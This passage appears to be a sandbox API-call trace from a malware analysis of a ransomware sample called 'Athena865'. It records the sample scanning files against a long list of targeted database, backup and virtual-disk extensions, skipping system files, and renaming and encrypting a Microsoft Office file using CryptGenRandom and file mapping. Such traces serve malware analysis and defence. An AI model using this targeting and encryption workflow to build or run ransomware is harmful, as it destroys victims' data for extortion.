(lpString="accdt") returned 5 [0075.728] lstrcmpiW (lpString1="ifest", lpString2="accdt") returned 1 [0075.728] lstrlenW (lpString="accdw") returned 5 [0075.728] lstrcmpiW (lpString1="ifest", lpString2="accdw") returned 1 [0075.728] lstrlenW (lpString="accft") returned 5 [0075.728] lstrcmpiW (lpString1="ifest", lpString2="accft") returned 1 [0075.728] lstrlenW (lpString="adb") returned 3 [0075.728] lstrcmpiW (lpString1="est", lpString2="adb") returned 1 [0075.728] lstrlenW (lpString="adb") returned 3 [0075.728] lstrcmpiW (lpString1="est", lpString2="adb") returned 1 [0075.728] lstrlenW (lpString="ade") returned 3 [0075.728] lstrcmpiW (lpString1="est", lpString2="ade") returned 1 [0075.728] lstrlenW (lpString="adf") returned 3 [0075.728] lstrcmpiW (lpString1="est", lpString2="adf") returned 1 [0075.728] lstrlenW (lpString="adn") returned 3 [0075.728] lstrcmpiW (lpString1="est", lpString2="adn") returned 1 [0075.728] lstrlenW (lpString="adp") returned 3 [0075.728] lstrcmpiW (lpString1="est", lpString2="adp") returned 1 [0075.728] lstrlenW (lpString="alf") returned 3 [0075.728] lstrcmpiW (lpString1="est", lpString2="alf") returned 1 [0075.728] lstrlenW (lpString="ask") returned 3 [0075.728] lstrcmpiW (lpString1="est", lpString2="ask") returned 1 [0075.728] lstrlenW (lpString="btr") returned 3 [0075.728] lstrcmpiW (lpString1="est", lpString2="btr") returned 1 [0075.728] lstrlenW (lpString="cat") returned 3 [0075.728] lstrcmpiW (lpString1="est", lpString2="cat") returned 1 [0075.728] lstrlenW (lpString="cdb") returned 3 [0075.728] lstrcmpiW (lpString1="est", lpString2="cdb") returned 1 [0075.728] lstrlenW (lpString="ckp") returned 3 [0075.728] lstrcmpiW (lpString1="est", lpString2="ckp") returned 1 [0075.729] lstrlenW (lpString="cma") returned 3 [0075.729] lstrcmpiW (lpString1="est", lpString2="cma") returned 1 [0075.729] lstrlenW (lpString="cpd") returned 3 [0075.729] lstrcmpiW (lpString1="est", lpString2="cpd") returned 1 [0075.729] lstrlenW (lpString="dacpac") returned 6 [0075.729] lstrcmpiW (lpString1="nifest", lpString2="dacpac") returned 1 [0075.729] lstrlenW (lpString="dad") returned 3 [0075.729] lstrcmpiW (lpString1="est", lpString2="dad") returned 1 [0075.729] lstrlenW (lpString="dadiagrams") returned 10 [0075.729] lstrcmpiW (lpString1="e.manifest", lpString2="dadiagrams") returned 1 [0075.729] lstrlenW (lpString="daschema") returned 8 [0075.729] lstrcmpiW (lpString1="manifest", lpString2="daschema") returned 1 [0075.729] lstrlenW (lpString="db-journal") returned 10 [0075.729] lstrcmpiW (lpString1="e.manifest", lpString2="db-journal") returned 1 [0075.729] lstrlenW (lpString="db-shm") returned 6 [0075.729] lstrcmpiW (lpString1="nifest", lpString2="db-shm") returned 1 [0075.729] lstrlenW (lpString="db-wal") returned 6 [0075.729] lstrcmpiW (lpString1="nifest", lpString2="db-wal") returned 1 [0075.729] lstrlenW (lpString="dbc") returned 3 [0075.729] lstrcmpiW (lpString1="est", lpString2="dbc") returned 1 [0075.729] lstrlenW (lpString="dbs") returned 3 [0075.729] lstrcmpiW (lpString1="est", lpString2="dbs") returned 1 [0075.729] lstrlenW (lpString="dbt") returned 3 [0075.729] lstrcmpiW (lpString1="est", lpString2="dbt") returned 1 [0075.729] lstrlenW (lpString="dbv") returned 3 [0075.729] lstrcmpiW (lpString1="est", lpString2="dbv") returned 1 [0075.729] lstrlenW (lpString="dbx") returned 3 [0075.729] lstrcmpiW (lpString1="est", lpString2="dbx") returned 1 [0075.729] lstrlenW (lpString="dcb") returned 3 [0075.729] lstrcmpiW (lpString1="est", lpString2="dcb") returned 1 [0075.729] lstrlenW (lpString="dct") returned 3 [0075.729] lstrcmpiW (lpString1="est", lpString2="dct") returned 1 [0075.730] lstrlenW (lpString="dcx") returned 3 [0075.730] lstrcmpiW (lpString1="est", lpString2="dcx") returned 1 [0075.730] lstrlenW (lpString="ddl") returned 3 [0075.730] lstrcmpiW (lpString1="est", lpString2="ddl") returned 1 [0075.730] lstrlenW (lpString="dlis") returned 4 [0075.730] lstrcmpiW (lpString1="fest", lpString2="dlis") returned 1 [0075.730] lstrlenW (lpString="dp1") returned 3 [0075.730] lstrcmpiW (lpString1="est", lpString2="dp1") returned 1 [0075.730] lstrlenW (lpString="dqy") returned 3 [0075.730] lstrcmpiW (lpString1="est", lpString2="dqy") returned 1 [0075.730] lstrlenW (lpString="dsk") returned 3 [0075.730] lstrcmpiW (lpString1="est", lpString2="dsk") returned 1 [0075.730] lstrlenW (lpString="dsn") returned 3 [0075.730] lstrcmpiW (lpString1="est", lpString2="dsn") returned 1 [0075.730] lstrlenW (lpString="dtsx") returned 4 [0075.730] lstrcmpiW (lpString1="fest", lpString2="dtsx") returned 1 [0075.730] lstrlenW (lpString="dxl") returned 3 [0075.730] lstrcmpiW (lpString1="est", lpString2="dxl") returned 1 [0075.730] lstrlenW (lpString="eco") returned 3 [0075.730] lstrcmpiW (lpString1="est", lpString2="eco") returned 1 [0075.730] lstrlenW (lpString="ecx") returned 3 [0075.730] lstrcmpiW (lpString1="est", lpString2="ecx") returned 1 [0075.730] lstrlenW (lpString="edb") returned 3 [0075.730] lstrcmpiW (lpString1="est", lpString2="edb") returned 1 [0075.730] lstrlenW (lpString="epim") returned 4 [0075.730] lstrcmpiW (lpString1="fest", lpString2="epim") returned 1 [0075.730] lstrlenW (lpString="fcd") returned 3 [0075.730] lstrcmpiW (lpString1="est", lpString2="fcd") returned -1 [0075.730] lstrlenW (lpString="fdb") returned 3 [0075.730] lstrcmpiW (lpString1="est", lpString2="fdb") returned -1 [0075.730] lstrlenW (lpString="fic") returned 3 [0075.730] lstrcmpiW (lpString1="est", lpString2="fic") returned -1 [0075.730] lstrlenW (lpString="flexolibrary") returned 12 [0075.731] lstrcmpiW (lpString1="exe.manifest", lpString2="flexolibrary") returned -1 [0075.731] lstrlenW (lpString="fm5") returned 3 [0075.731] lstrcmpiW (lpString1="est", lpString2="fm5") returned -1 [0075.731] lstrlenW (lpString="fmp") returned 3 [0075.731] lstrcmpiW (lpString1="est", lpString2="fmp") returned -1 [0075.731] lstrlenW (lpString="fmp12") returned 5 [0075.731] lstrcmpiW (lpString1="ifest", lpString2="fmp12") returned 1 [0075.731] lstrlenW (lpString="fmpsl") returned 5 [0075.731] lstrcmpiW (lpString1="ifest", lpString2="fmpsl") returned 1 [0075.731] lstrlenW (lpString="fol") returned 3 [0075.731] lstrcmpiW (lpString1="est", lpString2="fol") returned -1 [0075.731] lstrlenW (lpString="fp3") returned 3 [0075.731] lstrcmpiW (lpString1="est", lpString2="fp3") returned -1 [0075.731] lstrlenW (lpString="fp4") returned 3 [0075.731] lstrcmpiW (lpString1="est", lpString2="fp4") returned -1 [0075.731] lstrlenW (lpString="fp5") returned 3 [0075.731] lstrcmpiW (lpString1="est", lpString2="fp5") returned -1 [0075.731] lstrlenW (lpString="fp7") returned 3 [0075.731] lstrcmpiW (lpString1="est", lpString2="fp7") returned -1 [0075.731] lstrlenW (lpString="fpt") returned 3 [0075.731] lstrcmpiW (lpString1="est", lpString2="fpt") returned -1 [0075.731] lstrlenW (lpString="frm") returned 3 [0075.731] lstrcmpiW (lpString1="est", lpString2="frm") returned -1 [0075.731] lstrlenW (lpString="gdb") returned 3 [0075.731] lstrcmpiW (lpString1="est", lpString2="gdb") returned -1 [0075.731] lstrlenW (lpString="gdb") returned 3 [0075.731] lstrcmpiW (lpString1="est", lpString2="gdb") returned -1 [0075.731] lstrlenW (lpString="grdb") returned 4 [0075.731] lstrcmpiW (lpString1="fest", lpString2="grdb") returned -1 [0075.731] lstrlenW (lpString="gwi") returned 3 [0075.731] lstrcmpiW (lpString1="est", lpString2="gwi") returned -1 [0075.731] lstrlenW (lpString="hdb") returned 3 [0075.731] lstrcmpiW (lpString1="est", lpString2="hdb") returned -1 [0075.731] lstrlenW (lpString="his") returned 3 [0075.732] lstrcmpiW (lpString1="est", lpString2="his") returned -1 [0075.732] lstrlenW (lpString="ib") returned 2 [0075.732] lstrcmpiW (lpString1="st", lpString2="ib") returned 1 [0075.732] lstrlenW (lpString="idb") returned 3 [0075.732] lstrcmpiW (lpString1="est", lpString2="idb") returned -1 [0075.732] lstrlenW (lpString="ihx") returned 3 [0075.732] lstrcmpiW (lpString1="est", lpString2="ihx") returned -1 [0075.732] lstrlenW (lpString="itdb") returned 4 [0075.732] lstrcmpiW (lpString1="fest", lpString2="itdb") returned -1 [0075.732] lstrlenW (lpString="itw") returned 3 [0075.732] lstrcmpiW (lpString1="est", lpString2="itw") returned -1 [0075.732] lstrlenW (lpString="jet") returned 3 [0075.732] lstrcmpiW (lpString1="est", lpString2="jet") returned -1 [0075.732] lstrlenW (lpString="jtx") returned 3 [0075.732] lstrcmpiW (lpString1="est", lpString2="jtx") returned -1 [0075.732] lstrlenW (lpString="kdb") returned 3 [0075.732] lstrcmpiW (lpString1="est", lpString2="kdb") returned -1 [0075.732] lstrlenW (lpString="kexi") returned 4 [0075.732] lstrcmpiW (lpString1="fest", lpString2="kexi") returned -1 [0075.732] lstrlenW (lpString="kexic") returned 5 [0075.732] lstrcmpiW (lpString1="ifest", lpString2="kexic") returned -1 [0075.732] lstrlenW (lpString="kexis") returned 5 [0075.732] lstrcmpiW (lpString1="ifest", lpString2="kexis") returned -1 [0075.732] lstrlenW (lpString="lgc") returned 3 [0075.732] lstrcmpiW (lpString1="est", lpString2="lgc") returned -1 [0075.732] lstrlenW (lpString="lwx") returned 3 [0075.732] lstrcmpiW (lpString1="est", lpString2="lwx") returned -1 [0075.732] lstrlenW (lpString="maf") returned 3 [0075.732] lstrcmpiW (lpString1="est", lpString2="maf") returned -1 [0075.732] lstrlenW (lpString="maq") returned 3 [0075.732] lstrcmpiW (lpString1="est", lpString2="maq") returned -1 [0075.732] lstrlenW (lpString="mar") returned 3 [0075.732] lstrcmpiW (lpString1="est", lpString2="mar") returned -1 [0075.732] lstrlenW (lpString="marshal") returned 7 [0075.733] lstrcmpiW (lpString1="anifest", lpString2="marshal") returned -1 [0075.733] lstrlenW (lpString="mas") returned 3 [0075.733] lstrcmpiW (lpString1="est", lpString2="mas") returned -1 [0075.733] lstrlenW (lpString="mav") returned 3 [0075.733] lstrcmpiW (lpString1="est", lpString2="mav") returned -1 [0075.733] lstrlenW (lpString="maw") returned 3 [0075.733] lstrcmpiW (lpString1="est", lpString2="maw") returned -1 [0075.733] lstrlenW (lpString="mdbhtml") returned 7 [0075.733] lstrcmpiW (lpString1="anifest", lpString2="mdbhtml") returned -1 [0075.733] lstrlenW (lpString="mdn") returned 3 [0075.733] lstrcmpiW (lpString1="est", lpString2="mdn") returned -1 [0075.733] lstrlenW (lpString="mdt") returned 3 [0075.733] lstrcmpiW (lpString1="est", lpString2="mdt") returned -1 [0075.733] lstrlenW (lpString="mfd") returned 3 [0075.733] lstrcmpiW (lpString1="est", lpString2="mfd") returned -1 [0075.733] lstrlenW (lpString="mpd") returned 3 [0075.733] lstrcmpiW (lpString1="est", lpString2="mpd") returned -1 [0075.733] lstrlenW (lpString="mrg") returned 3 [0075.733] lstrcmpiW (lpString1="est", lpString2="mrg") returned -1 [0075.733] lstrlenW (lpString="mud") returned 3 [0075.733] lstrcmpiW (lpString1="est", lpString2="mud") returned -1 [0075.733] lstrlenW (lpString="mwb") returned 3 [0075.733] lstrcmpiW (lpString1="est", lpString2="mwb") returned -1 [0075.733] lstrlenW (lpString="myd") returned 3 [0075.733] lstrcmpiW (lpString1="est", lpString2="myd") returned -1 [0075.733] lstrlenW (lpString="ndf") returned 3 [0075.733] lstrcmpiW (lpString1="est", lpString2="ndf") returned -1 [0075.733] lstrlenW (lpString="nnt") returned 3 [0075.733] lstrcmpiW (lpString1="est", lpString2="nnt") returned -1 [0075.733] lstrlenW (lpString="nrmlib") returned 6 [0075.733] lstrcmpiW (lpString1="nifest", lpString2="nrmlib") returned -1 [0075.733] lstrlenW (lpString="ns2") returned 3 [0075.733] lstrcmpiW (lpString1="est", lpString2="ns2") returned -1 [0075.734] lstrlenW (lpString="ns3") returned 3 [0075.734] lstrcmpiW (lpString1="est", lpString2="ns3") returned -1 [0075.734] lstrlenW (lpString="ns4") returned 3 [0075.734] lstrcmpiW (lpString1="est", lpString2="ns4") returned -1 [0075.734] lstrlenW (lpString="nsf") returned 3 [0075.734] lstrcmpiW (lpString1="est", lpString2="nsf") returned -1 [0075.734] lstrlenW (lpString="nv") returned 2 [0075.734] lstrcmpiW (lpString1="st", lpString2="nv") returned 1 [0075.734] lstrlenW (lpString="nv2") returned 3 [0075.734] lstrcmpiW (lpString1="est", lpString2="nv2") returned -1 [0075.734] lstrlenW (lpString="nwdb") returned 4 [0075.734] lstrcmpiW (lpString1="fest", lpString2="nwdb") returned -1 [0075.734] lstrlenW (lpString="nyf") returned 3 [0075.734] lstrcmpiW (lpString1="est", lpString2="nyf") returned -1 [0075.734] lstrlenW (lpString="odb") returned 3 [0075.734] lstrcmpiW (lpString1="est", lpString2="odb") returned -1 [0075.734] lstrlenW (lpString="odb") returned 3 [0075.734] lstrcmpiW (lpString1="est", lpString2="odb") returned -1 [0075.734] lstrlenW (lpString="oqy") returned 3 [0075.734] lstrcmpiW (lpString1="est", lpString2="oqy") returned -1 [0075.734] lstrlenW (lpString="ora") returned 3 [0075.734] lstrcmpiW (lpString1="est", lpString2="ora") returned -1 [0075.734] lstrlenW (lpString="orx") returned 3 [0075.734] lstrcmpiW (lpString1="est", lpString2="orx") returned -1 [0075.734] lstrlenW (lpString="owc") returned 3 [0075.734] lstrcmpiW (lpString1="est", lpString2="owc") returned -1 [0075.734] lstrlenW (lpString="p96") returned 3 [0075.734] lstrcmpiW (lpString1="est", lpString2="p96") returned -1 [0075.734] lstrlenW (lpString="p97") returned 3 [0075.734] lstrcmpiW (lpString1="est", lpString2="p97") returned -1 [0075.734] lstrlenW (lpString="pan") returned 3 [0075.735] lstrcmpiW (lpString1="est", lpString2="pan") returned -1 [0075.735] lstrlenW (lpString="pdb") returned 3 [0075.735] lstrcmpiW (lpString1="est", lpString2="pdb") returned -1 [0075.735] lstrlenW (lpString="pdm") returned 3 [0075.735] lstrcmpiW (lpString1="est", lpString2="pdm") returned -1 [0075.735] lstrlenW (lpString="pnz") returned 3 [0075.735] lstrcmpiW (lpString1="est", lpString2="pnz") returned -1 [0075.735] lstrlenW (lpString="qry") returned 3 [0075.735] lstrcmpiW (lpString1="est", lpString2="qry") returned -1 [0075.735] lstrlenW (lpString="qvd") returned 3 [0075.735] lstrcmpiW (lpString1="est", lpString2="qvd") returned -1 [0075.735] lstrlenW (lpString="rbf") returned 3 [0075.735] lstrcmpiW (lpString1="est", lpString2="rbf") returned -1 [0075.736] lstrlenW (lpString="rctd") returned 4 [0075.736] lstrcmpiW (lpString1="fest", lpString2="rctd") returned -1 [0075.736] lstrlenW (lpString="rod") returned 3 [0075.736] lstrcmpiW (lpString1="est", lpString2="rod") returned -1 [0075.736] lstrlenW (lpString="rodx") returned 4 [0075.736] lstrcmpiW (lpString1="fest", lpString2="rodx") returned -1 [0075.736] lstrlenW (lpString="rpd") returned 3 [0075.736] lstrcmpiW (lpString1="est", lpString2="rpd") returned -1 [0075.736] lstrlenW (lpString="rsd") returned 3 [0075.736] lstrcmpiW (lpString1="est", lpString2="rsd") returned -1 [0075.736] lstrlenW (lpString="sas7bdat") returned 8 [0075.736] lstrcmpiW (lpString1="manifest", lpString2="sas7bdat") returned -1 [0075.736] lstrlenW (lpString="sbf") returned 3 [0075.736] lstrcmpiW (lpString1="est", lpString2="sbf") returned -1 [0075.736] lstrlenW (lpString="scx") returned 3 [0075.736] lstrcmpiW (lpString1="est", lpString2="scx") returned -1 [0075.736] lstrlenW (lpString="sdb") returned 3 [0075.736] lstrcmpiW (lpString1="est", lpString2="sdb") returned -1 [0075.736] lstrlenW (lpString="sdc") returned 3 [0075.736] lstrcmpiW (lpString1="est", lpString2="sdc") returned -1 [0075.736] lstrlenW (lpString="sdf") returned 3 [0075.736] lstrcmpiW (lpString1="est", lpString2="sdf") returned -1 [0075.736] lstrlenW (lpString="sis") returned 3 [0075.736] lstrcmpiW (lpString1="est", lpString2="sis") returned -1 [0075.736] lstrlenW (lpString="spq") returned 3 [0075.736] lstrcmpiW (lpString1="est", lpString2="spq") returned -1 [0075.736] lstrlenW (lpString="te") returned 2 [0075.736] lstrcmpiW (lpString1="st", lpString2="te") returned -1 [0075.736] lstrlenW (lpString="teacher") returned 7 [0075.736] lstrcmpiW (lpString1="anifest", lpString2="teacher") returned -1 [0075.736] lstrlenW (lpString="tmd") returned 3 [0075.737] lstrcmpiW (lpString1="est", lpString2="tmd") returned -1 [0075.737] lstrlenW (lpString="tps") returned 3 [0075.737] lstrcmpiW (lpString1="est", lpString2="tps") returned -1 [0075.737] lstrlenW (lpString="trc") returned 3 [0075.737] lstrcmpiW (lpString1="est", lpString2="trc") returned -1 [0075.737] lstrlenW (lpString="trc") returned 3 [0075.737] lstrcmpiW (lpString1="est", lpString2="trc") returned -1 [0075.737] lstrlenW (lpString="trm") returned 3 [0075.737] lstrcmpiW (lpString1="est", lpString2="trm") returned -1 [0075.737] lstrlenW (lpString="udb") returned 3 [0075.737] lstrcmpiW (lpString1="est", lpString2="udb") returned -1 [0075.737] lstrlenW (lpString="udl") returned 3 [0075.737] lstrcmpiW (lpString1="est", lpString2="udl") returned -1 [0075.737] lstrlenW (lpString="usr") returned 3 [0075.737] lstrcmpiW (lpString1="est", lpString2="usr") returned -1 [0075.737] lstrlenW (lpString="v12") returned 3 [0075.737] lstrcmpiW (lpString1="est", lpString2="v12") returned -1 [0075.737] lstrlenW (lpString="vis") returned 3 [0075.737] lstrcmpiW (lpString1="est", lpString2="vis") returned -1 [0075.737] lstrlenW (lpString="vpd") returned 3 [0075.737] lstrcmpiW (lpString1="est", lpString2="vpd") returned -1 [0075.737] lstrlenW (lpString="vvv") returned 3 [0075.737] lstrcmpiW (lpString1="est", lpString2="vvv") returned -1 [0075.737] lstrlenW (lpString="wdb") returned 3 [0075.737] lstrcmpiW (lpString1="est", lpString2="wdb") returned -1 [0075.737] lstrlenW (lpString="wmdb") returned 4 [0075.737] lstrcmpiW (lpString1="fest", lpString2="wmdb") returned -1 [0075.737] lstrlenW (lpString="wrk") returned 3 [0075.737] lstrcmpiW (lpString1="est", lpString2="wrk") returned -1 [0075.737] lstrlenW (lpString="xdb") returned 3 [0075.737] lstrcmpiW (lpString1="est", lpString2="xdb") returned -1 [0075.737] lstrlenW (lpString="xld") returned 3 [0075.737] lstrcmpiW (lpString1="est", lpString2="xld") returned -1 [0075.737] lstrlenW (lpString="xmlff") returned 5 [0075.738] lstrcmpiW (lpString1="ifest", lpString2="xmlff") returned -1 [0075.738] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\msaccess.exe.manifest.Athena865") returned 74 [0075.738] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\msaccess.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\msaccess.exe.manifest"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\msaccess.exe.manifest.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msaccess.exe.manifest.athena865"), dwFlags=0x1) returned 1 [0075.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\msaccess.exe.manifest.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msaccess.exe.manifest.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0075.739] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1382) returned 1 [0075.739] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0075.739] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0075.739] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0075.739] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0075.768] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0075.768] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.769] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x870, lpName=0x0) returned 0x17c [0075.770] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x870) returned 0x100000 [0075.773] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0075.774] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0075.774] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0075.774] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0075.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0075.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0075.774] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0075.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0075.774] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0075.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0075.775] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0075.775] CloseHandle (hObject=0x17c) returned 1 [0075.775] CloseHandle (hObject=0x154) returned 1 [0075.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0075.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0075.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0075.775] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2e9100, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2e9100, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x14188, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSAEXP30.DLL", cAlternateFileName="")) returned 1 [0075.775] lstrcmpiW (lpString1="MSAEXP30.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0075.775] lstrcmpiW (lpString1="MSAEXP30.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0075.775] lstrcmpiW (lpString1="MSAEXP30.DLL", lpString2=".") returned 1 [0075.775] lstrcmpiW (lpString1="MSAEXP30.DLL", lpString2="..") returned 1 [0075.775] lstrcmpiW (lpString1="MSAEXP30.DLL", lpString2="windows") returned -1 [0075.775] lstrcmpiW (lpString1="MSAEXP30.DLL", lpString2="bootmgr") returned 1 [0075.775] lstrcmpiW (lpString1="MSAEXP30.DLL", lpString2="temp") returned -1 [0075.775] lstrcmpiW (lpString1="MSAEXP30.DLL", lpString2="pagefile.sys") returned -1 [0075.775] lstrcmpiW (lpString1="MSAEXP30.DLL", lpString2="boot") returned 1 [0075.775] lstrcmpiW (lpString1="MSAEXP30.DLL", lpString2="ids.txt") returned 1 [0075.775] lstrcmpiW (lpString1="MSAEXP30.DLL", lpString2="ntuser.dat") returned -1 [0075.775] lstrcmpiW (lpString1="MSAEXP30.DLL", lpString2="perflogs") returned -1 [0075.776] lstrcmpiW (lpString1="MSAEXP30.DLL", lpString2="MSBuild") returned -1 [0075.776] lstrlenW (lpString="MSAEXP30.DLL") returned 12 [0075.776] lstrcpyW (in: lpString1=0x241e89e, lpString2="MSAEXP30.DLL" | out: lpString1="MSAEXP30.DLL") returned="MSAEXP30.DLL" [0075.776] lstrlenW (lpString="MSAEXP30.DLL") returned 12 [0075.776] lstrlenW (lpString="Athena865") returned 9 [0075.776] lstrcmpiW (lpString1="EXP30.DLL", lpString2="Athena865") returned 1 [0075.776] lstrlenW (lpString=".dll") returned 4 [0075.776] lstrcmpiW (lpString1="MSAEXP30.DLL", lpString2=".dll") returned 1 [0075.776] lstrlenW (lpString=".lnk") returned 4 [0075.776] lstrcmpiW (lpString1="MSAEXP30.DLL", lpString2=".lnk") returned 1 [0075.776] lstrlenW (lpString=".ini") returned 4 [0075.776] lstrcmpiW (lpString1="MSAEXP30.DLL", lpString2=".ini") returned 1 [0075.776] lstrlenW (lpString=".sys") returned 4 [0075.776] lstrcmpiW (lpString1="MSAEXP30.DLL", lpString2=".sys") returned 1 [0075.776] lstrlenW (lpString="MSAEXP30.DLL") returned 12 [0075.776] lstrlenW (lpString="bak") returned 3 [0075.776] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0075.776] lstrlenW (lpString="ba_") returned 3 [0075.776] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0075.776] lstrlenW (lpString="dbb") returned 3 [0075.776] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0075.776] lstrlenW (lpString="vmdk") returned 4 [0075.776] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0075.776] lstrlenW (lpString="rar") returned 3 [0075.776] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0075.776] lstrlenW (lpString="zip") returned 3 [0075.776] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0075.776] lstrlenW (lpString="tgz") returned 3 [0075.776] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0075.776] lstrlenW (lpString="vbox") returned 4 [0075.776] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0075.776] lstrlenW (lpString="vdi") returned 3 [0075.777] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0075.777] lstrlenW (lpString="vhd") returned 3 [0075.777] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0075.777] lstrlenW (lpString="vhdx") returned 4 [0075.777] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0075.777] lstrlenW (lpString="avhd") returned 4 [0075.777] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0075.777] lstrlenW (lpString="db") returned 2 [0075.777] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0075.777] lstrlenW (lpString="db2") returned 3 [0075.777] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0075.777] lstrlenW (lpString="db3") returned 3 [0075.777] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0075.777] lstrlenW (lpString="dbf") returned 3 [0075.777] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0075.777] lstrlenW (lpString="mdf") returned 3 [0075.777] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0075.777] lstrlenW (lpString="mdb") returned 3 [0075.777] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0075.777] lstrlenW (lpString="sql") returned 3 [0075.777] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0075.777] lstrlenW (lpString="sqlite") returned 6 [0075.777] lstrcmpiW (lpString1="30.DLL", lpString2="sqlite") returned -1 [0075.777] lstrlenW (lpString="sqlite3") returned 7 [0075.777] lstrcmpiW (lpString1="P30.DLL", lpString2="sqlite3") returned -1 [0075.777] lstrlenW (lpString="sqlitedb") returned 8 [0075.777] lstrcmpiW (lpString1="XP30.DLL", lpString2="sqlitedb") returned 1 [0075.777] lstrlenW (lpString="xml") returned 3 [0075.777] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0075.777] lstrlenW (lpString="$er") returned 3 [0075.777] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0075.777] lstrlenW (lpString="4dd") returned 3 [0075.777] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0075.778] lstrlenW (lpString="4dl") returned 3 [0075.778] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0075.778] lstrlenW (lpString="^^^") returned 3 [0075.778] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0075.778] lstrlenW (lpString="abs") returned 3 [0075.778] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 